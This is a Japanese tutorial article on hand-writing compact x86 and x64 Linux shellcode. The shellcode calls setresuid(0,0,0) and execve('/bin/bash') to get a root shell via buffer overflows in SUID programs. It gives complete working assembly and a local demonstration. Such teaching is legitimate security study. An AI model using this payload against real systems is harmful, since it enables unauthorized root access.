Help us understand the problem. What is going on with this article?

【第1回】シェルコードを作成する

今回はx86用のシェルコードとx64用のシェルコードを作成していきます。
バッファオーバーフロー攻撃を行うためにはシェルコードは不可欠な存在です。
シェルコードを活かすには、シェルコードをターゲットのコンピュータに侵入させる必要がありますが、このような手法については次回以降から扱っていきたいと思います。

実験環境

僕が使用している環境は次のようになります。

$ arch
x86_64
$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.5 LTS"
$ gcc -dumpversion
7

シェルコードとは

シェルコードとは、ターゲットのコンピュータに侵入させて実行したいコードの断片のことです。
このようなコードはシェルを開くことが多いため、シェルコードと名付けられました。
シェルコードはアーキテクチャやOSなどに強く依存するため、アセンブラで記述する必要があります。
当然、x86とx64で使用されるシェルコードもそれぞれ異なるので、今回は両方のシェルコードを作成していきます。
また、シェルコードにはネットワーク越しに動作するものも存在しますが、今回はローカルな環境で動作するものを作成したいと思います。

シェルコードがルートなシェルを開くまでの道のり

まず前提として、攻撃対象のプログラムの所有者がルートであり、SUIDがセットされている必要があります。
SUIDとは実行権のあるファイルに設定される特殊なアクセス権で、SUIDがセットされている実行ファイルはそのファイルの所持者の権限で実行されることになります。
その上でそのプログラムに何らかの方法(プログラムの引数、標準入力、環境変数など)でシェルコードを送り込み、さらにその送り込んだデータで重要な情報(リターンアドレス、関数ポインタなど)をシェルコードの先頭アドレスに書き換えることによってシェルコードを実行させます。

シェルコード作成時に気をつけること

シェルコードを作成する際にはいくつかの注意点が存在します。

  1. シェルコードはターゲットのバッファに格納されることが多いため、コードサイズをできるだけ小さくする必要があります。
  2. シェルコードはあるゆるバッファに格納されるため、位置独立コードにする必要があります。
  3. シェルコードは文字列関数(strcpyなど)を経由してコピーされることが多いため、コード内に0x00というデータを含まないように構成する必要があります。
  4. シェルコードはプログラムの制御を乗っ取る形で起動するため、レジスタの初期化は自分自身で行う必要があります。
  5. シェルコードはプログラムの制御を乗っ取る形で起動するため、独自のデータ領域を持ちません。そのため、シェルコード内で文字列といったデータ領域を作成したい場合はpush命令などを利用してスタック上に作成するか、シェルコード自身に含める必要があります。
  6. シェルコードがスタック上のバッファに保存される場合、スタックを利用する命令(push命令など)を使用しすぎると自分自身を破壊してしまう恐れがあるので気をつける必要があります。

pオプションとseteuidについて

/bin/shや/bin/bashを起動する際に実UIDと実効UIDが異なる場合、/bin/shや/bin/bashは実効UIDに実UIDをセットしてしまいます。これを回避するためには、/bin/shや/bin/bashの起動時のオプションに-pを指定する必要があります。
攻撃対象のプログラムがseteuidなどを使用することで、不必要な権限を持たせないような工夫をしている場合があります。
呼び出し元のプロセスの実UID、実効UID、 保存UIDを設定することができるsetresuidを使用して、setresuid(0,0,0)とシェルコード内で呼び出すことによってルート権限を復帰させる必要があります。
僕の環境で実験してみたところ、pオプションを指定しなくてもsetresuid(0,0,0)を呼び出すことで、すべての状況(seteuidがターゲットプログラム内で使用されている場合とされていない場合)においてルートシェルを開くことができました。
なので、今回のシェルコードではpオプションは指定せずにsetresuidのみを使用するものになっています。

32bit用のシェルコード

以下が32bit版のシェルコードになります。(ただし、余分な情報が入っていたり、アセンブラへのオプション等が抜けているため、このままではアセンブルできません。)
setresuid(0,0,0)を呼び出すことによって権限を復帰させた後、execveシステムコールによって/bin/bashを呼び出します。
このシェルコードのサイズは36byteであり、それなりにコンパクトなサイズになっています。
しかし、プログラムによってはシェルコードを格納するバッファのサイズが36byteよりも小さい場合があります。
このようなときはシェルコード内で比較的不必要(未定義にしても大丈夫そう)なenvpの設定を消去するなどして、さらにサイズを小さくする必要があります。

1:  xorl    %eax, %eax          # eax = 0
2:  movb    $164, %al           # eax = 164
3:  xorl    %ebx, %ebx          # ebx = 0
4:  xorl    %ecx, %ecx          # ecx = 0
5:  cltd                        # edx = 0
6:  int     $0x80               # setresuid(0, 0, 0), Revive root privileges.
7:  pushl   $11                 # if setresuid fails, -1 will be returned
8:  popl    %eax                # eax = 11
9:  pushl   $0x68               # h + null character
10: pushl   $0x7361622f         # /bas
11: push    $0x6e69622f         # /bin
12: movl    %esp, %ebx          # ebx(argv[0]) = "/bin/bash"
13: pushl   %edx                # null pointer
14: movl    %esp, %edx          # edx(envp) = {NULL}
15: pushl   %ebx                # "/bin/bash"
16: movl    %esp, %ecx          # ecx(argv) = {"/bin/bash", NULL}
17: int     $0x80               # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

1,2,3,4,5行目

eaxに164、ebxに0、ecxに0、edxに0を代入しています。
ctldという見慣れない命令が使用されていますが、これはeaxのMSBをedxの全ビットに適応するという命令です。
ctldは1byteの命令なので、2byteのxorを使用するよりもコードサイズが小さくなります。

1:  xorl    %eax, %eax          # eax = 0
2:  movb    $164, %al           # eax = 164
3:  xorl    %ebx, %ebx          # ebx = 0
4:  xorl    %ecx, %ecx          # ecx = 0
5:  cltd                        # edx = 0

6行目

setresuid(0,0,0)を呼び出しています。
32bitのシステムコールのABIでは、eaxにシステムコール番号、ebxに第一引数、ecxに第二引数、edxに第三引数を代入してからint 0x80を呼び出します。

6:  int     $0x80               # setresuid(0, 0, 0), Revive root privileges.

7,8行目

eaxにexecveシステムコール番号である11を代入しています。
1行目でeaxに0を代入しているのに、ここでmov $11, %alを使用しないのは、もしsetresuid(0,0,0)が-1を返していた場合、eaxに11を代入することができなくなるからです。
では、movl $11, %eaxを使うとどうなるのかと思われるかもしれませんが、これは5byteの命令になってしまいコードサイズが増加してしまうのでよくありません。

7:  pushl   $11                 # if setresuid fails, -1 will be returned
8:  popl    %eax                # eax = 11

9,10,11行目

スタックに/bin/bashという文字列を作成しています。
シェルコードはOSから独自のデータ領域を割り当ててもらえるわけではないので、スタック上か自身のコード内に文字列を含める必要があります。
pushl $0x68は0x68(h)という1byteだけをスタックにpushするように見えますが、実際にはゼロ拡張した4byteをpushします。
これによって、/bin/bashという文字列の値の直後にナル文字を配置することができています。
この命令はオペランドとオペコードをあわせて2byteしか消費しないですが、0x68と0x00という値をpushできているので効率が良いです。

9:  pushl   $0x68               # h + null character
10: pushl   $0x7361622f         # /bas
11: push    $0x6e69622f         # /bin

12行目

ebxに/bin/bashという文字列の先頭アドレスを代入しています。
ebxはexecveの第一引数であり、execveで実行したいプログラムのパスを指定する必要があります。

12: movl    %esp, %ebx          # ebx(argv[0]) = "/bin/bash"

13行目

スタック上に0x00000000という値をpushしています。
x86ベースの環境ではNULLの内部表現が0x00000000である(ことが多い)ので、このpushはNULLをスタックにpushしていることと同義です。

13: pushl   %edx                # null pointer

14行目

edxにNULLを格納しているアドレスを代入しています。
edxはexecveの第三引数であり、execveで実行したいプログラムに対するenvpを指定する必要があります。
envpはNULLを終端と認識するため、このシェルコードではenvpの要素は一つも指定していないことになります。

14: movl    %esp, %edx          # edx(envp) = {NULL}

15,16行目

/bin/bashという文字列の先頭アドレスをスタックにpushした後、ecxに/bin/bashの先頭アドレスを格納しているアドレスを代入しています。
スタックには/bin/bashの先頭アドレスの他に、先程pushしたNULLも格納されているため、ecxをポインタ配列と見立てると、ecx[0] = /bin/bashの先頭アドレス、ecx[1] = NULLという状態になっています。
ecxはexecveの第二引数であり、execveで実行したいプログラムに対するargvを指定する必要があります。
argvはNULLを終端と認識するため、argvには/bin/bashの先頭アドレスのみがセットされていることになります。

15: pushl   %ebx                # "/bin/bash"
16: movl    %esp, %ecx          # ecx(argv) = {"/bin/bash", NULL}
17: int     $0x80               # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

17行目

17行目ではexecve("/bin/bash", ["/bin/bash", NULL], [NULL])を呼び出しています。
これにより、bashシェルを開くことができるというわけです。

17: int     $0x80               # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

32bit用のシェルコードの動作

では、実際にシェルコードが正しく動作しているかどうかを確かめてみましょう。
先程紹介したシェルコードにアセンブラへのオプションや疑似コードを指定したものがこちらになります。
esp以外のレジスタに依存していないのか確認するために、シェルコードの先頭にデバッグコードも挿入しました。
eax、ebx、ecx、edx、esi、edi、ebpがどのような値でもシェルコードが動作するのか確かめてみたい人は、先頭の7つのmov命令のコメントを外してみて下さい。
意欲のある人はgdbで動作を追っかけてみることで、更に知識が深まることと思います。

.code32
.globl _start
.section .text

_start:
    #movl   $0xcccccccc, %eax
    #movl   $0xcccccccc, %ebx
    #movl   $0xcccccccc, %ecx
    #movl   $0xcccccccc, %edx
    #movl   $0xcccccccc, %esi
    #movl   $0xcccccccc, %edi
    #movl   $0xcccccccc, %ebp


    xorl    %eax, %eax          # eax = 0
    movb    $164, %al           # eax = 164
    xorl    %ebx, %ebx          # ebx = 0
    xorl    %ecx, %ecx          # ecx = 0
    cltd                        # edx = 0
    int     $0x80               # setresuid(0, 0, 0), Revive root privileges.
    pushl   $11                 # if setresuid fails, -1 will be returned
    popl    %eax                # eax = 11
    pushl   $0x68               # h + null character
    pushl   $0x7361622f         # /bas
    push    $0x6e69622f         # /bin
    movl    %esp, %ebx          # ebx(argv[0]) = "/bin/bash"
    pushl   %edx                # null pointer
    movl    %esp, %edx          # edx(envp) = {NULL}
    pushl   %ebx                # "/bin/bash"
    movl    %esp, %ecx          # ecx(argv) = {"/bin/bash", NULL}
    int     $0x80               # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

このシェルコードをshellcode32.Sというファイル名で保存します。
そうすると、次のようなコマンドで実行ファイルを作成・実行する事ができます。
--32と-m elf_i386は32bit用のオブジェクトを作成するために必要なオプションです。
chownでファイルの所有者と所有グループをrootに変更し、chmodでSUIDを実行ファイルにセットしています。
作成された実行ファイルを実行してみると、ルートなシェルが開けていることがわかります。

$ as --32 shellcode32.S -o shellcode32.o
$ ld -m elf_i386 shellcode32.o -o shellcode32
$ sudo chown root:root shellcode32
$ sudo chmod u+s shellcode32
$ ./shellcode32 
# whoami
root
# exit

64bit用のシェルコード

以下が64bit版のシェルコードになります。(先程と同様、余分な情報が入っていたり、アセンブラへのオプション等が抜けているため、このままではアセンブルできません。)
このコードではsetresuid(0,0,0)を呼び出すことによって権限を復帰させた後、execveシステムコールによって/bin/bashを呼び出します。
やりたいことは32bit版と全く同じですが、レジスタサイズや利用できる命令、システムコールのABIが異なっていたりするので、コードは多少変化させる必要があります。
ちなみに、シェルコードのサイズは36byteであり、32bit版と変わらないサイズとなっています。
コードサイズが増加していないことは素晴らしいことですが、テクニカルな処理を行っている部分があるので注意が必要です。

1:  pushq   $117
2:  popq    %rax                            # rax = 117
3:  cdq                                     # rdx = 0
4:  pushq   %rdx
5:  pushq   %rdx
6:  popq    %rdi                            # rdi = 0
7:  popq    %rsi                            # rsi = 0
8:  syscall                                 # setresuid(0, 0, 0), Revive root privileges.
9:  pushq   $59                             # if setresuid fails, -1 will be returned
10: popq    %rax                            # rax = 59
11: pushq   $0x68                           # h
12: movq    $0x7361622f6e69622f, %rdi       # /bin/bas
13: pushq   %rdi
14: pushq   %rsp
15: popq    %rdi                            # rdi(argv[0]) = "/bin/bash"
16: pushq   %rdx                            # null pointer
17: pushq   %rsp
18: popq    %rdx                            # rdx(envp) = {NULL}
19: pushq   %rdi                            # "/bin/bash"
20: pushq   %rsp
21: popq    %rsi                            # rsi(argv) = {"/bin/bash", NULL}
22: syscall                                 # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

1,2,3,4,5,6,7行目

raxに117、rdiに0、rsiに0、rdxに0を代入しています。
一応説明しておくと、32bitのeax, ebx, ecx, edx, esi, edi, esp, ebp, eipを64bitに拡張したレジスタがrax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, ripとなります。
mov命令を使用しないのはコードサイズの増加を抑えるためなのですが、例えば movq $117, %rax を使用すると7byteも消費してしまいます。
それに対して、pushとpopのオペコード部分は1byteしか消費しないため、movに比べてコードサイズが圧縮できます。
実際に以下のコードは7命令に対して8byteと非常にコンパクトなコードが生成されます。

1:  pushq   $117
2:  popq    %rax                            # rax = 117
3:  cdq                                     # rdx = 0
4:  pushq   %rdx
5:  pushq   %rdx
6:  popq    %rdi                            # rdi = 0
7:  popq    %rsi                            # rsi = 0

8行目

64bit用のシステムコールを呼び出す命令はsyscallとなっています。
syscallを使用する際には、raxにシステムコール番号、rdiに第一引数、rsiに第二引数、rdxに第三引数を指定する必要があります。
1~7行目では、raxに117、rdiに0、rsiに0、rdxに0を代入しているため、以下のコードはsetresuid(0,0,0)となります。

8:  syscall                                 # setresuid(0, 0, 0), Revive root 

9,10行目

raxにexecveのシステムコール番号である59を代入しています。
push命令のオペランド部分は1byteですが、実際に動作する際にはゼロ拡張された8byteをpushします。
movでは駄目な理由ですが、setresuid(0,0,0)が-1を返してきた場合、1byteをコピーするmov命令ではraxの上位7byteをゼロクリアできません。

9:  pushq   $59                             # if setresuid fails, -1 will be returned
10: popq    %rax                            # rax = 59

11,12,13行目

スタック上に/bin/bashという文字列を作成しています。
11行目のpushでは0x0000000000000068をスタックにpushしていますが、そのコードサイズは僅か2byteです。
12行目ではrdiに/bin/basという文字列をコピーしており、13行目で文字列をスタックにpushしています。
12行目でわざわざmovを使用するのは、64bitのアセンブラでは64bitの即値をpushすることはできないからです。
しかし、64bitのレジスタをpushすることは可能なようです。

11: pushq   $0x68                           # h
12: movq    $0x7361622f6e69622f, %rdi       # /bin/bas
13: pushq   %rdi

14,15行目

execveの第一引数であるrdiに/bin/bashという文字列の先頭アドレスを代入しています。

14: pushq   %rsp
15: popq    %rdi                            # rdi(argv[0]) = "/bin/bash"

16,17,18行目

rdxの値は0x0000000000000000であり、x64のNULLの内部表現は多くの場合0x0000000000000000であるため、rdxの値をNULLとしてスタックにpushしています。
17行目と18行目ではrdxにrspの値を代入していますが、これはexecveで起動するプログラムのenvpを設定しています。

16: pushq   %rdx                            # null pointer
17: pushq   %rsp
18: popq    %rdx                            # rdx(envp) = {NULL}

19,20,21行目

19行目のpushでは/bin/bashという文字列の先頭アドレスをスタックの先頭にpushしています。
rsiにはexecveで起動するプログラムのargvが格納されます。
現在、スタックには/bin/bashの先頭アドレスとNULLが連続して格納されており、rsiはこれらのポインタ配列の先頭アドレスを持っていることになります。

19: pushq   %rdi                            # "/bin/bash"
20: pushq   %rsp
21: popq    %rsi                            # rsi(argv) = {"/bin/bash", NULL}

22行目

今、raxには59、rdiには/bin/bashの先頭アドレス、rsiにはargv、rsiにはenvpが入っている状態です。
このままsyscallを使用することでexecve("/bin/bash", ["/bin/bash", NULL], [NULL])を呼び出すことができます。

22: syscall                                 # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

64bit用のシェルコードの動作

では、実際にシェルコードが正しく動作しているかどうかを確かめてみましょう。
以下のコードは先程のコードが実際にコンパイルできるように変更したものです。
rsp以外のレジスタに依存していないのか確認するために、シェルコードの先頭にデバッグコードも挿入しました。
rax、rbx、rcx、rdx、rsi、rdi、rbpがどのような値でもシェルコードが動作するのか確かめてみたい人は、mov命令のコメントを外してみて下さい。
こちらについても、意欲のある人はgdbで動作を追っかけてみることで、更に知識が深まることと思います。

.code64
.globl _start
.section .text

_start:
    #movq   $0xcccccccccccccccc, %rax
    #movq   $0xcccccccccccccccc, %rbx
    #movq   $0xcccccccccccccccc, %rcx
    #movq   $0xcccccccccccccccc, %rdx
    #movq   $0xcccccccccccccccc, %rsi
    #movq   $0xcccccccccccccccc, %rdi
    #movq   $0xcccccccccccccccc, %rbp

    pushq   $117
    popq    %rax                            # rax = 117
    cdq                                     # rdx = 0
    pushq   %rdx
    pushq   %rdx
    popq    %rdi                            # rdi = 0
    popq    %rsi                            # rsi = 0
    syscall                                 # setresuid(0, 0, 0), Revive root privileges.
    pushq   $59                             # if setresuid fails, -1 will be returned
    popq    %rax                            # rax = 59
    pushq   $0x68                           # h
    movq    $0x7361622f6e69622f, %rdi       # /bin/bas
    pushq   %rdi
    pushq   %rsp
    popq    %rdi                            # rdi(argv[0]) = "/bin/bash"
    pushq   %rdx                            # null pointer
    pushq   %rsp
    popq    %rdx                            # rdx(envp) = {NULL}
    pushq   %rdi                            # "/bin/bash"
    pushq   %rsp
    popq    %rsi                            # rsi(argv) = {"/bin/bash", NULL}
    syscall                                 # execve("/bin/bash", ["/bin/bash", NULL], [NULL])

このシェルコードをshellcode64.Sというファイル名で保存します。
そうすると、次のようなコマンドで実行ファイルを作成・実行する事ができます。
chownでファイルの所有者と所有グループをrootに変更し、chmodでSUIDを実行ファイルにセットしています。
32bit版と同様、作成された実行ファイルを実行してみると、ルートなシェルが開けていることがわかります。

$ as shellcode64.S -o shellcode64.o
$ ld shellcode64.o -o shellcode64
$ sudo chown root:root shellcode64
$ sudo chmod u+s shellcode64
$ ./shellcode64
# whoami
root
# exit

最後に

今回は32bit用のシェルコードと64bit用のシェルコードを両方作成しました。
シェルコード単体では役に立ちませんが、攻撃対象のプログラムに送り込むことで思わぬような形でコンピュータの動作を乗っ取ることができるのです。
次回からはシェルコードを利用して、実際に脆弱性を持ったプログラムを攻撃してみたいと思います。

参考文献

リンカやローダ周りの用語についてまとめてみた
Man page of BASH
Man page of SETEUID
Man page of SETRESUID
Linux System Call Table

FromNand
低レイヤーには大体興味がありますが、オペレーティング・システムとセキュリティーが特に好きです。
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした